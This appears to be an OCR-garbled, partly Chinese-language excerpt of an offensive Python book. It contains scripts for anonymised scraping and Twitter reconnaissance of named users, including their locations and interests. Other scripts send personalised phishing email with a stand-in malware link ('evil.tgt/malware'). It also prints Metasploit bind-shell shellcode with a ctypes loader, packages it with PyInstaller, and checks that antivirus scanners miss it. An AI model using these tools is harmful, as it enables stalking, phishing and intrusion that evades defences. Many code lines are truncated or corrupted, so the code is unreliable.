# coding=UTF-8

from anonBrowser import *

from BeautifulSoup import BeautifulSoup
import os

import optparse

def mirrorImages(url, dir):

ab = anonBrowser ()

ab.anonymize()

html = ab.open(url)

soup = BeautifulSoup(html)

image_tags = soup.findAll('img')

for image in image_tags:
filename = image['src'].lstrip('http://")
filename = os.path.join(dir, filename.replace('/', '_'))
print('[+] Saving ' + str(filename))
data = ab.open(image['src']).read()
ab.back()
save = open(filename, 'wb')
save.write(data)
save.close()

def main():
parser = optparse.OptionParser('usage%prog -u <target url> -d «
parser.add_option('-u', dest="'tgtURL', type='string', help="'sp¢
parser.add_option('-d', dest='dir', type='string', help="'specit
(options, args) = parser.parse_args()
url = options.tgtURL
dir = options.dir

if url == None or dir == None:
print parser.usage
exit(0)

else:
try:

mirrorImages(url, dir)

except Exception, e:
print('[-] Error Mirroring Images.')
print('[-] ' + str(e))

if __name__ == '_main__"':
main()
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econ:~# python imageMirror.py -u http://xkcd.com -d /tmp/
[+] Saving /tmp/imgs.xkcd.com_static_terrible_small_logo.png
[+] Saving /tmp/imgs.xkcd.com_comics_moon_landing.png

[+] Saving /tmp/imgs.xkcd.com_s_a899e84.jpg
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import urllib
from anonBrowser import *

def google(search_term):
ab = anonBrowser ()
search_term = urllib.quote_plus(search_term)
response = ab.open('http://ajax.googleapis.com/ajax/services/s¢
print(response.read())
google( 'Boondock Saint')
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M Googlei& & &5 R A= T & 69 AL o



{"responseData": {"results":[{"GsearchResultClass":"GwebSearch",
"unescapedUrl":"http://www.boondocksaints.com/","url":"http://
www.boondocksaints.com/", "visibleUrl":"www.boondocksaints.

com", "cacheUrl":"http://www.google.com/search?q\

ue03dcache: I3XWOwgXgn4J :www.boondocksaints.com", "title":"The \
u003cb\udB3eBoondock Saints\u003c/b\u0e3e","titleNoFormatting":"The
Boondock

<..SNIPPED. .>

\u003chb\u00e3e. . .\ue03c/b\uc03e"}], "cursor":{"resultCount":"62,800",
"pages":[{"start":"0", "label":1}, {"start":"4", "label":2}, {"start
".ng", "label":3}, {"start":"12","label":4}, {"start":"16", "label":
5}, {"start":"20", "label":6}, {"start":"24", "label":7}, {"start":"2
8","label":8}], "estimatedResultCount":"62800", "currentPageIndex"
10, "moreResultsUrl":"http://www.google.com/search?0e\u@@3dutf8\
u0026ie\ueO3dutf8\ue026source\u003duds\uB026start\u003dO\ueO26hl1\
ue03den\uB026g\u0e3dBoondock+Saint", "searchResultTime":"0.16"}},
"responseDetails": null, "responseStatus": 200}
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quote_plus() HELZXAB AT 69 #7609 KDk o URLAAS 238 3F F 88 569 F
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import urllib, json
from anonBrowser import *

def google(search_term):
ab = anonBrowser ()
search_term = urllib.quote_plus(search_term)
response = ab.open('http://ajax.googleapis.com/ajax/services/s¢
objects = json.load(response
print(response.read())
google( 'Boondock Saint')
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{u'responseData': {u'cursor': {u'moreResultsUrl': u'http://www.goo(
com/search?oe=utf8&amp;ie=utf8&amp; source=uds&amp; start=0&amp;hl=er
+Saint', u'estimatedResultCount': u'62800', u'searchResultTime':
u'e0.16', u'resultCount': u'62,800', u'pages': [{u'start': u'oe',
u'label': 1}, {u'start': u'4', u'label': 2}, {u'start': u'8',
u'label': 3}, {u'start': u'l12', u'label': 4}, {u'start': u'16',
u'label': 5}, {u'start': u'20', u'label': 6}, {u'start': u'24',
u'label': 7}, {u'start': u'28', u..SNIPPED..>

Saints</b> - Wikipedia, the free encyclopedia', u'url': u'http://
en.wikipedia.org/wiki/The_Boondock_Saints', u'cacheUrl': u'http://
www .google.com/search?g=cache:BKaGPxznRLYJ:en.wikipedia.org',
u'unescapedUrl': u'http://en.wikipedia.org/wiki/The_Boondock_
Saints', u'content': u'The <b>Boondock Saints</b> is a 1999 Americ:
action film written and directed by Troy Duffy. The film stars Sear
Patrick Flanery and Norman Reedus as Irish fraternal <b>...</b>'}]"
u'responseDetails': None, u'responseStatus': 200}
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# coding=UTF-8

import json

import urllib

import optparse

from anonBrowser import *

class Google_Result:
def __init__ (self,title, text,url):
self.title = title
self.text = text
self.url = url
def __repr__(self):
return self.title

def google(search_term):
ab = anonBrowser ()
search_term = urllib.quote_plus(search_term)
response = ab.open('http://ajax.googleapis.com/ajax/services/s¢
objects = json.load(response)
results = []
for result in objects['responseData']['results']:
url = result['url']
title = result['titleNoFormatting']
text = result['content']
new_gr = Google_Result(title, text, url)
results.append(new_gr)
return result

def main():
parser = optparse.OptionParser('usage%prog -k <keywords>')
parser.add_option('-k', dest='keyword',6 type='string', help="'sj
(options, args) = parser.parse_args()
keyword = options.keyword

if options.keyword == None:
print(parser.usage)
exit(o)

else:

results = google(keyword)
print(results)
if __name__ == '__main__":
main()
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recon:~# python anonGoogle.py -k 'Boondock Saint'

[The Boondock Saints, The Boondock Saints (1999) - IMDb, The Boondt
Saints II: All Saints Day (2009) - IMDb, The Boondock Saints -

Wikipedia, the free encyclopedia]
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# coding=UTF-8

import json
import urllib
from anonBrowser import *

class reconPerson:
def __init__ (self,first_name, last_name, job='"',6social_media={}
self.first_name = first_name
self.last_name = last_name
self.job = job
self.social _media = social_media
def __ _repr__(self):
return self.first_name + ' ' + self.last_name + ' has job
def get_social(self, media_name):
if self.social_media.has_key(media_name):
return self.social media[media_name]
return None
def query_twitter(self, query):
guery = urllib.quote_plus(query)
results = []
browser = anonBrowser ()
response = browser.open('http://search.twitter.com/search.:
json_objects = json.load(response)
for result in json_objects['results']:
new_result = {}
new_result['from_user'] = result['from_user_name']
new_result['geo'] = result['geo']
new_result['tweet'] = result['text']
results.append(new_result)
return results
ap = reconPerson('Boondock', 'Saint')
print ap.query_twitter('from:th3j35t3r since:2010-01-01 include:ref
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https://dev.twitter.com/docs

recon:~# python twitterRecon.py

[{'tweet': u'RT @XNineDesigns: @th3j35t3r Do NOT give up. You are
the bastion so many of us need. Stay Frosty!!!!ittit' 'geo':

None, 'from_user': u'p\u0lddz\u0131uod\u0250\u01dd\u028d \ud29e\
u0254o0puooq'}, {‘tweet': u'RT @droogielxp: "Do you expect me to
talk?" - #UGNazi "No #UGNazi I expect you to die." @th3j35t3r
#ticktock', 'geo': None, 'from_user': u'p\u@1ddz\u0131uod\u02506\
u01dd\ue28d \u029e\u02540puocoq'}, {'tweet': u'RT @Tehvar: @th3j35t:
my thesis paper for my masters will now be focused on supporting ti
#wwp, while I can not donate money I can give intelligence.'
<..SNIPPED. .>
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ﬁﬁ&ﬂ%I[ﬁ%NMMmP%ﬁ@%ﬁﬁ]+[iﬁ%%&%i&ﬁ%]+
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# coding=UTF-8

import json

import urllib

import optparse

from anonBrowser import *

def get_tweets(handle):
query = urllib.quote_plus('from:' + handle+ ' since:2009-01-01
tweets = []
browser = anonBrowser ()
browser.anonymize()
response = browser.open('http://search.twitter.com/search.json’
json_objects = json.load(response)
for result in json_objects['results']:
new_result = {}



new_result['from_user'] = result['from_user_name']
new_result['geo'] = result['geo']
new_result['tweet'] = result['text']
tweets.append(new_result)

return tweets

def load_cities(cityFile):
cities = []
for line in open(cityFile).readlines():
city=line.strip('\n').strip('\r').lower()
cities.append(city)
return cities

def twitter_locate(tweets,cities):
locations = []

locCnt = 0
cityCnt = 0
tweetsText = ""
for tweet in tweets:
if tweet['geo'] != None:
locations.append(tweet['geo'])
locCnt += 1

tweetsText += tweet['tweet'].lower ()
for city in cities:
if city in tweetsText:
locations.append(city)
cityCnt+=1
print("[+] Found "+str(locCnt)+" locations via Twitter
return locations

def main():
parser = optparse.OptionParser('usage%prog -u <twitter handle>
parser.add_option('-u', dest='handle',6 type='string', help="sp¢
parser.add_option('-c', dest='cityFile',6 type='string', help="¢
(options, args) = parser.parse_args()
handle = options.handle
cityFile = options.cityFile
if (handle==None):
print parser.usage
exit(0)
cities = []
if (cityFile!=None):
cities = load_cities(cityFile)
tweets = get_tweets(handle)
locations = twitter_locate(tweets,cities)
print("[+] Locations: "+str(locations))
if __name__ == '__main__':
main()
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recon:~# cat mlb-cities.txt | more

baltimore

boston

chicago

cleveland

detroit

<..SNIPPED. .>

recon:~# python twitterGeo.py -u redsox -c mlb-cities.txt

[+]
[+]
[+]
[+]

J

Found 0 locations via Twitter API and 1 locations from text se:
Locations: ['toronto'] recon:~# python twitterGeo.py -u natione
Found 0 locations via Twitter API and 1 locations from text se:
Locations: ['denver']
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# coding=UTF-8

import json

import re

import urllib

import urllib2

import optparse

from anonBrowser import *

def

def

get_tweets(handle):
guery = urllib.quote_plus('from:' + handle+ ' since:2009-01-01
tweets = []
browser = anonBrowser ()
browser.anonymize()
response = browser.open('http://search.twitter.com/search.json’
json_objects = json.load(response)
for result in json_objects['results']:
new_result = {}
new_result['from_user'] = result['from_user_name']
new_result['geo'] = result['geo']
new_result['tweet'] = result['text']
tweets.append(new_result)
return tweets

find_interests(tweets):
interests = {}

interests['links']
interests['users']
interests['hashtags']

=[]
=[]
=[]



for tweet in tweets:
text = tweet['tweet']
links = re.compile('(http.*?)\Z|(http.*?) ').findall(text)
for link in links:
if 1link[O]:
link = 1ink[O]
elif link[1]:
link = 1link[1]
else:
continue
try:
response = urllib2.urlopen(link)
full 1ink = response.url
interests['links'].append(full_link)
except:
pass
interests['users'] += re.compile('(@\w+)').findall(text)
interests|[ 'hashtags'] +=re.compile('(#\w+)').findall(text)
interests['users'].sort()
interests|[ 'hashtags'].sort()
interests['links'].sort()
return interests

def main():
parser = optparse.OptionParser('usage%prog -u <twitter handle>
parser.add_option('-u', dest='handle',6 type='sring', help="spec
(options, args) = parser.parse_args()
handle = options.handle

if handle == None:
print(parser.usage)
exit(0)

tweets = get_tweets(handle)

interests = find_interests(tweets)

print('\n[+] Links."')

for link in set(interests['links']):
print(' [+] " + str(link))
print('\n[+] Users."')

for user in set(interests['users']):
print("' [+] " + str(user))
print('\n[+] HashTags.')

for hashtag in set(interests['hashtags']):
print('\n[+] ' + str(hashtag))

if __name__ == '__main__':
main()
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recon:~# python twitterInterests.py -u sonnench
[+] Links.
[+]1http://www.youtube.com/watch?v=K-BIuztlC7k&amp; feature=plcp
[+] Users.
[+] @tomasseeger
[+] @sonnench
[+] @Benaskren
[+] @AirFrayer
[+] @NEXERSYS
[+] HashTags.
[+] #UFC148
| 1 ]
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# coding=UTF-8

import urllib

from anonBrowser import *
import json

import re

import urllib2

class reconPerson:
def _ _init__ (self, handle):
self.handle = handle
self.tweets = self.get_tweets()
def get_tweets(self):
query = urllib.quote_plus('from:' + self.handle+' since:20(
tweets = []
browser = anonBrowser ()
browser.anonymize()
response = browser.open('http://search.twitter.com/search.:
json_objects = json.load(response)
for result in json_objects['results']:
new_result = {}
new_result['from_user'] = result['from_user_name']



def

def

new_result['geo'] = result['geo']
new_result['tweet'] = result['text']
tweets.append(new_result)
return tweets
find_interests(self):
interests = {}
interests['links'] = []
interests['users'] = []
interests['hashtags'] = []
for tweet in self.tweets:
text = tweet['tweet']
links = re.compile('(http.*?)\Z|(http.*?) ').findall(te
for link in links:
if link[0]:
link = 1ink[0]
elif link[1]:
link = link[1]
else:continue
try:
response = urllib2.urlopen(link)
full 1ink = response.url
interests['links'].append(full_link)
except:
pass
interests['users'] +=re.compile('(@\w+)"').findall(text)
interests['hashtags'] +=re.compile('(#\w+)').findall(text)
interests['users'].sort()
interests|[ 'hashtags'].sort()
interests['links'].sort()
return interests
twitter_locate(self, cityFile):
cities = []
if cityFile !'= None:
for line in open(cityFile).readlines():
city = line.strip('\n').strip('\r').lower ()
cities.append(city)
locations = []
locCnt = 0
cityCnt = 0
tweetsText = "'
for tweet in self.tweets:
if tweet['geo'] != None:
locations.append(tweet['geo'])
locCnt += 1
tweetsText += tweet['tweet'].lower ()
for city in cities:
if city in tweetsText:
locations.append(city)
cityCnt += 1
return locations
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http://10minutemail.com/10MinuteMail/index.html

import smtplib
from email.mime.text import MIMEText

def sendMail(user, pwd, to, subject, text):
msg = MIMEText(text)
msg['From'] = user
msg['To'] = to
msg[ 'Subject'] = subject

try:
smtpServer = smtplib.SMTP('smtp.gmail.com', 587)
print("[+] Connecting To Mail Server.")
smtpServer.ehlo()
print("[+] Starting Encrypted Session.")
smtpServer.starttls()
smtpServer.ehlo()
print("[+] Logging Into Mail Server.")
smtpServer.login(user, pwd)
print("[+] Sending Mail.")
smtpServer.sendmail(user, to, msg.as_string())
smtpServer.close()
print("[+] Mail Sent Successfully.")
except:
print("[-] Sending Mail Failed.")
user = 'username'
pwd = 'password'
sendMail(user, pwd, 'target@tgt.tgt', 'Re: Important', 'Test Messa(
| D
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recon:# python sendMail.py

[+] Connecting To Mail Server.
[+] Starting Encrypted Session.
[+] Logging Into Mail Server.
[+] Sending Mail.

[+] Mail Sent Successfully.
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# coding=UTF-8

import smtplib

import optparse

from email.mime.text import MIMEText
from twitterClass import *

from random import choice

def sendMail(user, pwd, to, subject, text):
msg = MIMEText(text)
msg['From'] = user
msg['To'] = to

msg[ 'Subject'] = subject

try:
smtpServer = smtplib.SMTP('smtp.gmail.com', 587)
print("[+] Connecting To Mail Server.")
smtpServer.ehlo()
print("[+] Starting Encrypted Session.")
smtpServer.starttls()
smtpServer.ehlo()
print("[+] Logging Into Mail Server.")
smtpServer.login(user, pwd)
print("[+] Sending Mail.")
smtpServer.sendmail(user, to, msg.as_string())
smtpServer.close()
print("[+] Mail Sent Successfully.")

except:
print("[-] Sending Mail Failed.")

def main():

parser = optparse.OptionParser('usage%prog -u <twitter target>
parser.add_option('-u', dest='handle',6 type='string', help="sp¢
parser.add_option('-t', dest='tgt', type='string', help="'specit



parser.add_option('-1l', dest='user',6 type='string', help="'spec:
parser.add_option('-p', dest='pwd', type='string', help="'specit
(options, args) = parser.parse_args()

handle = options.handle

tgt = options.tgt

user = options.user

pwd = options.pwd

if handle == None or tgt == None or user ==None or pwd==None:
print(parser.usage)
exit(0)

print("[+] Fetching tweets from: "+str(handle))
spamTgt = reconPerson(handle)
spamTgt.get_tweets()
print("[+] Fetching interests from: "+str(handle))
interests = spamTgt.find_interests()
print("[+] Fetching location information from: "+ str(handle))
location = spamTgt.twitter_locate('mlb-cities.txt')
spamMsg = "Dear "+tgt+","
if (location!=None):
randLoc=choice(location)
spamMsg += " Its me from "+randLoc+"."
if (interests['users']!=None):
randUser=choice(interests['users'])
spamMsg += " "+randUser+" said to say hello."
if (interests['hashtags']!=None):
randHash=choice(interests['hashtags'])
spamMsg += " Did you see all the fuss about "+ randHash+"?'
if (interests['links']!=None):
randLink=choice(interests['links'])
spamMsg += " I really liked your link to: "+randLink+"."
spamMsg += " Check out my link to http://evil.tgt/malware"
print("[+] Sending Msg: "+spamMsg)
sendMail (user, pwd, tgt, 'Re: Important',6 spamMsg)
if __name__ == '__main__':
main()
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recon# python sendSpam.py -u redsox -t target@tgt -1 username -p p:
[+] Fetching tweets from: redsox

[+] Fetching interests from: redsox

[+] Fetching location information from: redsox

[+] Sending Msg: Dear redsox, Its me from toronto. @davidortiz saitc
[+] Connecting To Mail Server.

[+] Starting Encrypted Session.

[+] Logging Into Mail Server.

[+] Sending Mail.

[+] Mail Sent Successfully.
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attacker:~# msfpayload windows/shell bind_tcp LPORT=1337 C

/*
*
*

*

*

*/

windows/shell_bind_tcp - 341 bytes
http://www.metasploit.com

VERBOSE=false, LPORT=1337, RHOST=, EXITFUNC=process,
InitialAutoRunScript=, AutoRunScript=

unsigned char buf[] =

1

"\Xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\X8b\Xx52\x0c\x8b\x52\x14\x8b\x72\x28\x0F\xb7\x4a\x26\x31\xff"
"\Xx31\xcO\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\XTO\X52\Xx57\x8b\x52\x10\x8b\x42\x3c\x01\xdO\x8b\x40\x78\x85"
"\XCO\X74\x4a\x01\xdO\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\X3c\x49\x8b\x34\x8b\x01\xd6\x31\xfF\x31\xcO\xac\xcl\xcf\x0d"
"\X01\Xc7\x38\xe0\x75\xT4\x03\x7d\xF8\x3b\x7d\x24\x75\xe2\x58"
"\Xx8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\X04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\Xxe0\x58\x5F\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\X77\X73\x32\x5F\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\X00\X00\Xx29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\X50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\Xx31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
"\Xc2\Xdb\x37\x67\xTF\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\X53\x53\x57\x68\x74\xec\x3b\xel\xfF\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xTF\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\X31\XTFB6\Xx6a\x12\x59\x56\xe2\xFfd\x66\xc7\x44\x24\x3c\x01\x01"
"\Xx8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\X56\x56\x53\x56\x68\x79\xcc\x3F\x86\xTf\xd5\x89\xed®\x4e\x56"
"\X46\XTF\X30\Xx68\X08\x87\x1d\Xx60\XxTF\xd5\xbb\xfO\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xffAxd5\x3c\x06\x7c\x0a\x80\xfb\xe®\x75"
"\X05\xbb\x47\x13\x72\x6F\x6a\Xx00\x53\xff\xd5";
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from ctypes import *
shellcode =

("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30'
"\X8b\Xx52\x0c\x8b\x52\x14\x8b\x72\x28\x0F\xb7\x4a\x26\x31\xff"
"\Xx31\xcO\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\XTO\X52\X57\x8b\x52\x10\x8b\x42\x3c\x01\xdO\x8b\x40\x78\x85"
"\XCcO\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\X3c\x49\x8b\x34\x8b\x01\xd6\x31\xfF\x31\xcO\xac\xcl\xcf\xod"
"\X01\Xc7\x38\xe0\x75\xT4\x03\x7d\xF8\x3b\x7d\x24\x75\xe2\x58"
"\Xx8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\X04\x8b\x01\xdO\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\Xxe0\x58\x5F\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\X77\X73\Xx32\x5F\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\X00\X00\Xx29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\X50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\Xx31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
"\XCc2\Xdb\x37\x67\xTf\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\X53\x53\x57\x68\x74\xec\x3b\xel\xfF\xd5\x57\x89\xc7\x68\x75"
"\Xx6e\x4d\x61\xFf\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\X31\XTFB6\Xx6a\x12\x59\x56\xe2\xFfd\x66\xc7\x44\x24\x3c\x01\x01"
"\X8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\X56\x56\Xx53\x56\x68\x79\xcc\x3f\x86 \xff\xd5\x89\xe0\x4e\x56"
"\X46\XTF\Xx30\x68\x08\x87\x1d\x60\xfF\xd5\xbb\xfO\xb5\xa2\x56"
"\Xx68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xed\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5");

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
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Pyinstaller % #4448 & € o (7T YA http://www.pyinstaller.org/ $4F) ° Pyinstaller
F Python B A%k i% 4 J 2 69 T $ATR T » T A K 4R A % £ Python M % 69 &
Gk R o £ YmiEMY R AT 0 384T configure.py M ARYEEPyinstaller €& -

Microsoft Windows [Version 6.0.6000]

Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim>cd pyinstaller-1.5.1
C:\Users\victim\pyinstaller-1.5.1>python.exe Configure.py

I: read old config from config.dat
: computing EXE_dependencies

: Finding TCL/TK...

. .SNIPPED. .>

: testing for UPX...

...UPX unavailable

: computing PYZ dependencies...

: done generating config.dat
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http://www.pyinstaller.org/

#FT ko &AVHKIE Pyinstaller 2 5 — ML U A Windows 89 T AT STHH A
& RATK TPylnstaIIer FEF—N4EHEH --noconsole I KLEME—
NRLGTHATRF B — DN LR --onefile #® o

C:\Users\victim\pyinstaller-1.5.1>python.exe Makespec.py --onefile
wrote C:\Users\victim\pyinstaller-1.5.1\bindshell\bindshell. spec
now run Build.py to build the executable
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C:\Users\victim\pyinstaller-1.5.1>python.exe Build.py bindshell\bir
I: Dependent assemblies of C:\Python27\python.exe:

I: x86_Microsoft.VC90.CRT_1fc8b3b9alel8e3b_9.0.21022.8_none
checking Analysis

<..SNIPPED. .>

checking EXE

rebuilding outEXE2.toc because bindshell.exe missing

building EXE from outEXE2.toc

Appending archive to EXE bindshell\dist\bindshell.exe
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C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>bindshell.exe
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>netstat -anp TCP
Active Connections

Proto Local Address oreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1337 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING
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attacker$ nc 192.168.95.148 1337

Microsoft Windows [Version 6.0.6000]

Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>
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£A1H54E A IR % vscan.novirusthanks.org 4345 & 4189 T #HATHRF -
NoVirusThanks # % T —/AWEB T @4 o L4 7T 52 U4 14 &+ R R 69 X &3]
faks o AL FIWEB T d 4 0 B A% % & U B T AL 7 RATRAT B S 8 89 > TERKATF
R ZAMA Y% B — AN ik 69 Python By Ak B sh LA XA A2 o Atcpdump 4K
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WAL A TR

POST / HTTP/1.1

Host: vscan.novirusthanks.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysl
Referer: http://vscan.novirusthanks.org/
Accept-Language: en-us

Accept-Encoding: gzip, deflate------- WebKitFormBoundaryF17rwCZdGuP!
Content-Disposition: form-data; name="upfile";filename="bindshell.¢
Content-Type: application/octet-stream
<..SNIPPED FILE CONTENTS. .>

------ WebKitFormBoundaryF17rwCZdGuPNPTOU
Content-Disposition: form-data; name="submitfile"
Submit File

------ WebKitFormBoundaryF17rwCZdGUuPNPTOU- -
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def uploadFile(fileName):
print("[+] Uploading file to NoVirusThanks...")
fileContents = open(fileName, 'rb').read()
header = {'Content-Type': 'multipart/form-data; boundary=----
WebKitFormBoundaryF17rwCZdGuPNPTOU'}
params = "------ WebKitFormBoundaryF17rwCZdGuPNPTOU"
params += "\r\nContent-Disposition: form-data;"+"name=\"upfile®
params += "\r\nContent-Type: "+"application/octetstream\r\n\r\i
params += fileContents
params += "\r\n------ WebKitFormBoundaryF17rwCZdGuPNPTOU"
params += "\r\nContent-Disposition: form-data;"+"name=\"submit1i
params += "\r\nSubmit File\r\n"
params +="------ WebKitFormBoundaryF17rwCZdGUPNPTOU--\r\n"
conn = httplib.HTTPConnection('vscan.novirusthanks.org')
conn.request("POST", "/", params, header)
response = conn.getresponse()
location = response.getheader('location')
conn.close()
return location

{ S— >

&4 vscan.novirusthanks.org ,JRZ RR G AL FH » BINTAHERIR %
KB E BT &k

B : http://vscan.novirusthanks.org +/file/ + md5sum(filecontents) +
o % N @ 8,4 T —JavaScript kAT H — &K & éiﬁbi%mﬁﬁﬁﬁé”ﬁﬁ
AR EAEZSF o £X— &AL TE@EEHTTP 302 K A4 » 3it

%] http://vscan.novirusthanks.org + /analy31s/+md53um(flle contents)

W o KATHT 9 — N AURL F ] £ 69 4 T 54769 LA -

Date: Mon, 18 Jun 2012 16:45:48 GMT
Server: Apache
Location:http://vscan.novirusthanks.org/file/d5bb12e32840f4c3fa006¢
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File Info

Report date: 2012-06-18 18:48:20 (GMT 1)

File name: [b]bindshell-exe[/b]

File size: 73802 bytes

MD5 Hash: d5bb12e32840f4c3fab00662e412a66fc

SHA1 Hash: e9309c2bb3f369dfbbd9b42deaf7c7ee5c29e364

Detection rate: [color=red]O[/color] on 14 ([color=red]0%[/color])
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AT BT b TEFESH R @It # &CSS KA » &A1 X% 5 Python By AT Fp &A1
FAER T R MER - Bk RINOH REZIN BRI LOIHR @ -
—BRAT@EE—AMHTTP 302F & @ 2| KA169 547 T @ » K A1T vx24E A E &
E X BAL M F KRG B #CSS RAG A % F4F 6 o RATKATII R4 M EF /& 2] %
»E:

def printResults(url):
status = 200
host = urlparse(url)[1]
path = urlparse(url)[2]
if 'analysis' not in path:
while status != 302:
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
status = resp.status
print('[+] Scanning file...')
conn.close()
time.sleep(15)
print('[+] Scan Complete.')
path = path.replace('file', 'analysis')
conn httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
data = resp.read()
conn.close()
reResults = re.findall(r'Detection rate:.*\) ', data)
htmlStripRes = reResults[1l].replace('&lt;font color=\"'red\'&gt,
print('[+] ' + str(htmlStripRes))
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import re

import httplib

import time

import os

import optparse

from urlparse import urlparse

def uploadFile(fileName):
print("[+] Uploading file to NoVirusThanks...'")
fileContents = open(fileName, 'rb').read()
header = {'Content-Type': 'multipart/form-data; boundary=----We
params = "------ WebKitFormBoundaryF17rwCZdGuPNPTOU"
params += "\r\nContent-Disposition: form-data;"+"name=\"upfile®
params += "\r\nContent-Type: "+"application/octet stream\r\n\r'
params += fileContents
params += "\r\n------ WebKitFormBoundaryF17rwCZdGuPNPTOU"
params += "\r\nContent-Disposition: form-data;"+"name=\"submiti



params += "\r\nSubmit File\r\n"
params +="------ WebKitFormBoundaryF17rwCZdGUPNPTOU--\r\n"
conn = httplib.HTTPConnection('vscan.novirusthanks.org')
conn.request("POST", "/", params, header)
response = conn.getresponse()
location = response.getheader('location')
conn.close()
return location
def printResults(url):
status = 200
host = urlparse(url)[1]
path = urlparse(url)[2]
if 'analysis' not in path:
while status != 302:
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
status = resp.status
print('[+] Scanning file...')
conn.close()
time.sleep(15)
print('[+] Scan Complete.')
path = path.replace('file', 'analysis')
conn = httplib.HTTPConnection(host)
conn.request('GET', path)
resp = conn.getresponse()
data = resp.read()
conn.close()
reResults = re.findall(r'Detection rate:.*\) ', data)
htmlStripRes = reResults[1].replace('&lt;font color=\"'red\'&gt,
print('[+] ' + str(htmlStripRes))
def main():
parser = optparse.OptionParser('usage%prog -f <filename>')
parser.add_option('-f', dest='fileName',6 type='string', help="¢
(options, args) = parser.parse_args()
fileName = options.fileName
if fileName == None:
print(parser.usage)
exit(0)
elif os.path.isfile(fileName) == False:
print('[+] ' + fileName + ' does not exist.')
exit(0)
else:
loc = uploadFile(fileName)
printResults(loc)
if __name__ == '__main__"':
main()
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attacker$ msfpayload windows/shell_bind_tcp LPORT=1337 X > bindshe.
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell bind_tcp

Length: 341

Options: {"LPORT"=>"1337"}

attacker$ python virusCheck.py -f bindshell.exe
[+] Uploading file to NoVirusThanks...

[+] Scanning file...

[+] Scanning file...

[+] Scanning file...

[+] Scanning file...

[+] Scanning file...

[+] Scanning file...

[+] Scanning file...

[+] Scanning file...

[+] Scanning file...

[+] Scan Complete.

[+] Detection rate: 10 on 14 (71%)
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C:\Users\victim\pyinstaller-1.5.1>python.exe virusCheck.py -f
bindshell\dist\bindshell.exe

[+] Uploading file to NoVirusThanks...
[+] Scan Complete.

[+] Scanning file...

[+] Scanning file...

[+] Scanning file...

[+] Scanning file...

[+] Scanning file...

[+] Scanning file..

[+] Detection rate: 0 on 14 (0%)
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